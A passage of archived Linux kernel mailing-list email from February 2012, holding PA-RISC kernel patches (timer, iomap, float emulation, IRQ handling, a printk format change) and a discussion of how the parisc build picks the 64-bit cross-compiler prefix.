-	if ((cycles_elapsed >> 6) < cpt) {
+	if ((cycles_elapsed >> 7) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
diff --git a/arch/parisc/lib/iomap.c b/arch/parisc/lib/iomap.c
index 8f470c9..4b22b27 100644
--- a/arch/parisc/lib/iomap.c
+++ b/arch/parisc/lib/iomap.c
@@ -458,12 +458,15 @@ void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long maxlen)
 	return NULL;
 }
 
+#ifdef CONFIG_PCI
 void pci_iounmap(struct pci_dev *dev, void __iomem * addr)
 {
 	if (!INDIRECT_ADDR(addr)) {
 		iounmap(addr);
 	}
 }
+EXPORT_SYMBOL(pci_iounmap);
+#endif
 
 EXPORT_SYMBOL(ioread8);
 EXPORT_SYMBOL(ioread16);
@@ -484,4 +487,3 @@ EXPORT_SYMBOL(iowrite32_rep);
 EXPORT_SYMBOL(ioport_map);
 EXPORT_SYMBOL(ioport_unmap);
 EXPORT_SYMBOL(pci_iomap);
-EXPORT_SYMBOL(pci_iounmap);
diff --git a/arch/parisc/math-emu/cnv_float.h b/arch/parisc/math-emu/cnv_float.h
index 9071e09..37299c7 100644
--- a/arch/parisc/math-emu/cnv_float.h
+++ b/arch/parisc/math-emu/cnv_float.h
@@ -347,16 +347,15 @@
     Sgl_isinexact_to_fix(sgl_value,exponent)
 
 #define Duint_from_sgl_mantissa(sgl_value,exponent,dresultA,dresultB)	\
-  {Sall(sgl_value) <<= SGL_EXP_LENGTH;  /*  left-justify  */		\
+  {unsigned int val = Sall(sgl_value) << SGL_EXP_LENGTH;		\
     if (exponent <= 31) {						\
     	Dintp1(dresultA) = 0;						\
-    	Dintp2(dresultB) = (unsigned)Sall(sgl_value) >> (31 - exponent); \
+    	Dintp2(dresultB) = val >> (31 - exponent);			\
     }									\
     else {								\
-    	Dintp1(dresultA) = Sall(sgl_value) >> (63 - exponent);		\
-    	Dintp2(dresultB) = Sall(sgl_value) << (exponent - 31);		\
+    	Dintp1(dresultA) = val >> (63 - exponent);			\
+    	Dintp2(dresultB) = exponent <= 62 ? val << (exponent - 31) : 0;	\
     }									\
-    Sall(sgl_value) >>= SGL_EXP_LENGTH;  /* return to original */	\
   }
 
 #define Duint_setzero(dresultA,dresultB) 	\
diff --git a/drivers/parisc/iommu-helpers.h b/drivers/parisc/iommu-helpers.h
index a9c46cc..8c33491 100644
--- a/drivers/parisc/iommu-helpers.h
+++ b/drivers/parisc/iommu-helpers.h
@@ -1,3 +1,5 @@
+#include <linux/prefetch.h>
+
 /**
  * iommu_fill_pdir - Insert coalesced scatter/gather chunks into the I/O Pdir.
  * @ioc: The I/O Controller.
diff --git a/kernel/irq/chip.c b/kernel/irq/chip.c
index f7c543a..d69738a 100644
--- a/kernel/irq/chip.c
+++ b/kernel/irq/chip.c
@@ -549,6 +549,7 @@ out_eoi:
 void
 handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 {
+	struct irqaction *action;
 	struct irq_chip *chip = irq_desc_get_chip(desc);
 
 	kstat_incr_irqs_this_cpu(irq, desc);
@@ -556,7 +557,9 @@ handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 	if (chip->irq_ack)
 		chip->irq_ack(&desc->irq_data);
 
-	handle_irq_event_percpu(desc, desc->action);
+	action = desc->action;
+	if (action)
+		handle_irq_event_percpu(desc, action);
 
 	if (chip->irq_eoi)
 		chip->irq_eoi(&desc->irq_data);

--------------080602000706010809020909--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE
 for 64 bit.
Date: Tue, 28 Feb 2012 10:33:35 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <4F4CF3CF.5090605@bell.net>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com> <201202280106.23643.vapier@gentoo.org> <1330438245.2822.114.camel@dabdike.int.hansenpartnership.com> <201202281021.05897.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330443235 24643 80.91.229.3 (28 Feb 2012 15:33:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 15:33:55 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	"kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"deller@gmx.de" <deller@gmx.de>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-next@vger.kernel.org" <linux-next@vger.kernel.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-next-owner@vger.kernel.org Tue Feb 28 16:33:53 2012
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1S2P3n-00060I-2E
	for glkn-linux-next@plane.gmane.org; Tue, 28 Feb 2012 16:33:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754686Ab2B1Pdu (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Tue, 28 Feb 2012 10:33:50 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:39381 "EHLO
	mail-09.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752470Ab2B1Pdt (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Tue, 28 Feb 2012 10:33:49 -0500
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-09.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1S2P3d-0002pw-02; Tue, 28 Feb 2012 10:33:41 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:10.0.2) Gecko/20120216 Thunderbird/10.0.2
In-Reply-To: <201202281021.05897.vapier@gentoo.org>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:21002 gmane.linux.ports.parisc:4208 gmane.linux.kernel:1259421
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/21002>

On 2/28/2012 10:21 AM, Mike Frysinger wrote:
> we've been using hppa2.0 for years.  gnuconfig certainly recognizes it:
> $ grep hppa /usr/share/gnuconfig/config.sub
>          | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \
>          | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \
>
> and i've seen diff projects key off of the hppa2.0* to enable newer features by
> default.
Some of the above are specific to HP-UX, but hppa1.1, hppa2.0, hppa and 
hppa64 are
valid for Linux based on config.guess.

Dave

-- 
John David Anglin    dave.anglin@bell.net


From - Thu Nov 08 21:07:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.next
Subject: Re: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE for 64 bit.
Date: Tue, 28 Feb 2012 13:37:10 -0500
Organization: wh0rd.org
Lines: 75
Approved: news@gmane.org
Message-ID: <201202281337.14094.vapier@gentoo.org>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com> <4F4CF3CF.5090605@bell.net> <CANEJEGv2Zgtd8TGOzSNO8opMLQT8RsGRP=m2rBPUBBOJ9f+fKQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1979808.xE6xXEOG8i";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330454240 21712 80.91.229.3 (28 Feb 2012 18:37:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 18:37:20 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	"kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"deller@gmx.de" <deller@gmx.de>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-next@vger.kernel.org" <linux-next@vger.kernel.org>
To: Grant Grundler <grantgrundler@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 28 19:37:17 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S2RvH-0005cr-Fe
	for glpp-linux-parisc@plane.gmane.org; Tue, 28 Feb 2012 19:37:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965900Ab2B1ShO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 Feb 2012 13:37:14 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:46825 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S965107Ab2B1ShO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 Feb 2012 13:37:14 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 4B1951B400D;
	Tue, 28 Feb 2012 18:37:13 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.2.0; KDE/4.6.5; x86_64; ; )
In-Reply-To: <CANEJEGv2Zgtd8TGOzSNO8opMLQT8RsGRP=m2rBPUBBOJ9f+fKQ@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4209 gmane.linux.kernel:1259516 gmane.linux.kernel.next:21005
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4209>
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4209>

--nextPart1979808.xE6xXEOG8i
Content-Type: Text/Plain;
  charset="utf-8"
Content-Transfer-Encoding: quoted-printable

On Tuesday 28 February 2012 13:22:50 Grant Grundler wrote:
> On Tue, Feb 28, 2012 at 7:33 AM, John David Anglin wrote:
> > On 2/28/2012 10:21 AM, Mike Frysinger wrote:
> >> we've been using hppa2.0 for years.  gnuconfig certainly recognizes it:
> >> $ grep hppa /usr/share/gnuconfig/config.**sub
> >>=20
> >>         | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] |
> >>=20
> >> hppa64 \
> >>=20
> >>         | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-*=
 \
> >>=20
> >> and i've seen diff projects key off of the hppa2.0* to enable newer
> >> features by
> >> default.
> >=20
> > Some of the above are specific to HP-UX, but hppa1.1, hppa2.0, hppa and
> > hppa64 are
> > valid for Linux based on config.guess.
>=20
> Mike, et al,
> I'd suggest NOT using hppa2.0 as a surrogate for 64-bit build. I'd prefer
> hppa64 if 64-bit is meant.
>=20
> hppa2.0 can also mean PA2.0 compliant binary compiled using ILP32 model.
> right?

i don't think that's what the proposed change does.  James' patch runs $(CC=
)=20
to find the active tuple, then replaces the first part with "hppa64" to get=
 a=20
64bit toolchain automatically.  but that magic only works when the tuple is=
=20
"hppa-xxx" and so will fail when the system is using "hppa2.0-xxx".

short story: the proposed change will additionally support turning "hppa2.0-
linux-gnu" into "hppa64-linux-gnu" rather than the existing "only turns hpp=
a-
linux-gnu" into "hppa64-linux-gnu".
=2Dmike

--nextPart1979808.xE6xXEOG8i
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJPTR7ZAAoJEEFjO5/oN/WBuXkP/0q95mFhnAbLaazZUGDiQP6r
2CtwhKJsC9795qEyYd7onQsiTN0DJprihiI1BV/xdKBCOateoWfrCjgvbt3HupOB
DaMV8l/bXys6dlgGIe7QrbOod+wDk2RLmkUi5eFa2WM8mwSO/FieX1iHOk4rc017
UKecJJwZSdfKTkzWgk4ocLAfswtXjloj7zj4dw58Fn+BzwaAXXr33tYHKBVqLS9J
BF/vJMOduqK4sB3YEc+aJB0ZikNHYyfeK4LTrYcO2xXYAIKxSciV3vIW/QEsmOXv
RlR/BxhBDbkNUrH4hndMBoDlf5TP7yJFNMsi3IkifVAcgyhNFsuKtZ5sppCb5yHj
xENWX7pSLeQv3QrmXPe3SMiX0gb30lMtH5aPxcOzfnNaB7526OD+hx0zMdnu0+0J
iRMAnjNrfsawjpUx607AwMiOzgPEC31xWXrD8XBx44R8yx/r+a4uzPWsw4kSo4ju
OBqYlggdQSapjxkVMvWy3WmGlMJJmga1ZUIw4kNWQnenZavQElvRz/LMmaL/Eobe
fzWJ2cQhRL2rkXQ1dt2EEsQLcQpEBkXdBxfWp9hNRtaehQxl6CDSSOyfURWns+yv
KsbkTg7CKZNyU5hhLOyxwFGzlsakn5f/Qm2e3BpRvT88Nv2x+F1mobQOIALIP7/u
WnOW3Jl+FpJAk6tSZJ/d
=Lto8
-----END PGP SIGNATURE-----

--nextPart1979808.xE6xXEOG8i--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi,gmane.linux.usb.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.uclinux.microblaze,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: [PATCH trivial next 0/9] treewide: Use vsprintf extention %pf
Date: Tue, 28 Feb 2012 10:49:29 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <cover.1330454853.git.joe@perches.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1330454994 28351 80.91.229.3 (28 Feb 2012 18:49:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 18:49:54 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	microblaze-uclinux@itee.uq.edu.au, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, devel@driverdev.osuosl.org
To: linux-parisc@vger.kernel.org, linux-scsi@vger.kernel.org,
	linux-usb@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 28 19:49:51 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S2S7S-000807-BV
	for glpp-linux-parisc@plane.gmane.org; Tue, 28 Feb 2012 19:49:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965995Ab2B1Stt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 Feb 2012 13:49:49 -0500
Original-Received: from perches-mx.perches.com ([206.117.179.246]:40694 "EHLO
	labridge.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S965988Ab2B1Sts (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 Feb 2012 13:49:48 -0500
Original-Received: from [96.251.11.108] (account joe@perches.com HELO joe-laptop.perches.com)
  by labridge.com (CommuniGate Pro SMTP 5.0.14)
  with ESMTPA id 18856106; Tue, 28 Feb 2012 10:49:47 -0800
X-Mailer: git-send-email 1.7.8.111.gad25c.dirty
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4210 gmane.linux.scsi:73309 gmane.linux.usb.general:59382 gmane.linux.ports.alpha:1706 gmane.linux.kernel:1259519 gmane.linux.ports.arm.kernel:154417 gmane.linux.uclinux.microblaze:11745 gmane.linux.ports.ppc64.devel:80542 gmane.linux.ports.sparc:15809
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4210>

Emit the actual function name when possible

Joe Perches (9):
  sparc: Use vsprintf extention %pf with builtin_return_address
  alpha: Use vsprintf extention %pf with builtin_return_address
  arm: Use vsprintf extention %pf with builtin_return_address
  microblaze: Use vsprintf extention %pf with builtin_return_address
  powerpc: Use vsprintf extention %pf with builtin_return_address
  parisc: Use vsprintf extention %pf with builtin_return_address
  scsi: Use vsprintf extention %pf with builtin_return_address
  staging: ramster: Use vsprintf extention %pf with builtin_return_address
  gadget: Use vsprintf extention %pf with builtin_return_address

 arch/alpha/kernel/pci_iommu.c               |   20 ++++++++++----------
 arch/arm/nwfpe/fpmodule.c                   |    2 +-
 arch/microblaze/mm/pgtable.c                |    2 +-
 arch/powerpc/mm/pgtable_32.c                |    2 +-
 arch/sparc/kernel/ds.c                      |    2 +-
 arch/sparc/mm/srmmu.c                       |    2 +-
 drivers/parisc/superio.c                    |    2 +-
 drivers/scsi/esp_scsi.c                     |    2 +-
 drivers/staging/ramster/cluster/heartbeat.c |    4 ++--
 drivers/usb/gadget/u_serial.c               |    2 +-
 10 files changed, 20 insertions(+), 20 deletions(-)

-- 
1.7.8.111.gad25c.dirty

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH trivial next 6/9] parisc: Use vsprintf extention %pf with builtin_return_address
Date: Tue, 28 Feb 2012 10:49:35 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <3aaf784d1f3b62a6ede3de47db5921b037c73423.1330454853.git.joe@perches.com>
References: <cover.1330454853.git.joe@perches.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1330455067 28999 80.91.229.3 (28 Feb 2012 18:51:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 18:51:07 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, Jiri Kosina <trivial@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Feb 28 19:51:04 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1S2S8c-0000XJ-T8
	for glk-linux-kernel-3@plane.gmane.org; Tue, 28 Feb 2012 19:51:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030208Ab2B1Sur (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 28 Feb 2012 13:50:47 -0500
Original-Received: from perches-mx.perches.com ([206.117.179.246]:53933 "EHLO
	labridge.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S966018Ab2B1Suo (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 28 Feb 2012 13:50:44 -0500
Original-Received: from [96.251.11.108] (account joe@perches.com HELO joe-laptop.perches.com)
  by labridge.com (CommuniGate Pro SMTP 5.0.14)
  with ESMTPA id 18856117; Tue, 28 Feb 2012 10:50:43 -0800
X-Mailer: git-send-email 1.7.8.111.gad25c.dirty
In-Reply-To: <cover.1330454853.git.joe@perches.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1259525 gmane.linux.ports.parisc:4211
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1259525>

Emit the function name not the address when possible.

builtin_return_address() gives an address.  When building
a kernel with CONFIG_KALLSYMS, emit the actual function
name not the address.

Signed-off-by: Joe Perches <joe@perches.com>
---
 drivers/parisc/superio.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index e3b76d4..5003458 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -348,7 +348,7 @@ int superio_fixup_irq(struct pci_dev *pcidev)
 		BUG();
 		return -1;
 	}
-	printk("superio_fixup_irq(%s) ven 0x%x dev 0x%x from %p\n",
+	printk("superio_fixup_irq(%s) ven 0x%x dev 0x%x from %pf\n",
 		pci_name(pcidev),
 		pcidev->vendor, pcidev->device,
 		__builtin_return_address(0));
-- 
1.7.8.111.gad25c.dirty


From - Thu Nov 08 21:07:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE
	for 64 bit.
Date: Tue, 28 Feb 2012 20:54:51 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20120228195451.GA3042@merkur.ravnborg.org>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com> <4F4CF3CF.5090605@bell.net> <CANEJEGv2Zgtd8TGOzSNO8opMLQT8RsGRP=m2rBPUBBOJ9f+fKQ@mail.gmail.com> <201202281337.14094.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1330458900 28718 80.91.229.3 (28 Feb 2012 19:55:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 19:55:00 +0000 (UTC)
Cc: Grant Grundler <grantgrundler@gmail.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	"kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"deller@gmx.de" <deller@gmx.de>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-next@vger.kernel.org" <linux-next@vger.kernel.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-next-owner@vger.kernel.org Tue Feb 28 20:54:57 2012
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1S2T8S-000175-Bo
	for glkn-linux-next@plane.gmane.org; Tue, 28 Feb 2012 20:54:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756430Ab2B1Tyy (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Tue, 28 Feb 2012 14:54:54 -0500
Original-Received: from smtp.snhosting.dk ([87.238.248.203]:61761 "EHLO
	smtp.domainteam.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756173Ab2B1Tyy (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Tue, 28 Feb 2012 14:54:54 -0500
Original-Received: from merkur.ravnborg.org (unknown [188.228.89.252])
	by smtp.domainteam.dk (Postfix) with ESMTPA id 5CF58F18FD;
	Tue, 28 Feb 2012 20:54:52 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <201202281337.14094.vapier@gentoo.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:21006 gmane.linux.ports.parisc:4212 gmane.linux.kernel:1259557
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/21006>

On Tue, Feb 28, 2012 at 01:37:10PM -0500, Mike Frysinger wrote:
> On Tuesday 28 February 2012 13:22:50 Grant Grundler wrote:
> > On Tue, Feb 28, 2012 at 7:33 AM, John David Anglin wrote:
> > > On 2/28/2012 10:21 AM, Mike Frysinger wrote:
> > >> we've been using hppa2.0 for years.  gnuconfig certainly recognizes it:
> > >> $ grep hppa /usr/share/gnuconfig/config.**sub
> > >> 
> > >>         | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] |
> > >> 
> > >> hppa64 \
> > >> 
> > >>         | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \
> > >> 
> > >> and i've seen diff projects key off of the hppa2.0* to enable newer
> > >> features by
> > >> default.
> > > 
> > > Some of the above are specific to HP-UX, but hppa1.1, hppa2.0, hppa and
> > > hppa64 are
> > > valid for Linux based on config.guess.
> > 
> > Mike, et al,
> > I'd suggest NOT using hppa2.0 as a surrogate for 64-bit build. I'd prefer
> > hppa64 if 64-bit is meant.
> > 
> > hppa2.0 can also mean PA2.0 compliant binary compiled using ILP32 model.
> > right?
> 
> i don't think that's what the proposed change does.  James' patch runs $(CC) 
> to find the active tuple, then replaces the first part with "hppa64" to get a 
> 64bit toolchain automatically.  but that magic only works when the tuple is 
> "hppa-xxx" and so will fail when the system is using "hppa2.0-xxx".
> 
> short story: the proposed change will additionally support turning "hppa2.0-
> linux-gnu" into "hppa64-linux-gnu" rather than the existing "only turns hppa-
> linux-gnu" into "hppa64-linux-gnu".

There is a small helper:

    cc-cross-prefix

Which may be used ifyou have two or mroe candidated for CROSS_COMPILE.

>From mips:
 CROSS_COMPILE := $(call cc-cross-prefix, $(tool-archpref)-linux-  $(tool-archpref)-linux-gnu-  $(tool-archpref)-unknown-linux-gnu-)

Dunno if this would help parisc in this case..

	Sam

From - Thu Nov 08 21:07:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 15/24] PCI, parisc: Register busn_res for root buses
Date: Tue, 28 Feb 2012 14:07:34 -0800
Lines: 49
Approved: news@gmane.org
Message-ID: <1330466863-28469-16-git-send-email-yinghai@kernel.org>
References: <1330466863-28469-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1330466969 25796 80.91.229.3 (28 Feb 2012 22:09:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 22:09:29 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	Dominik Brodowski <linux@dominikbrodowski.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, Yinghai Lu <yinghai@kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Tony Luck <tony.luck@intel.com>,
	David Miller <davem@davemloft.net>, x86 <x86@kernel.org>
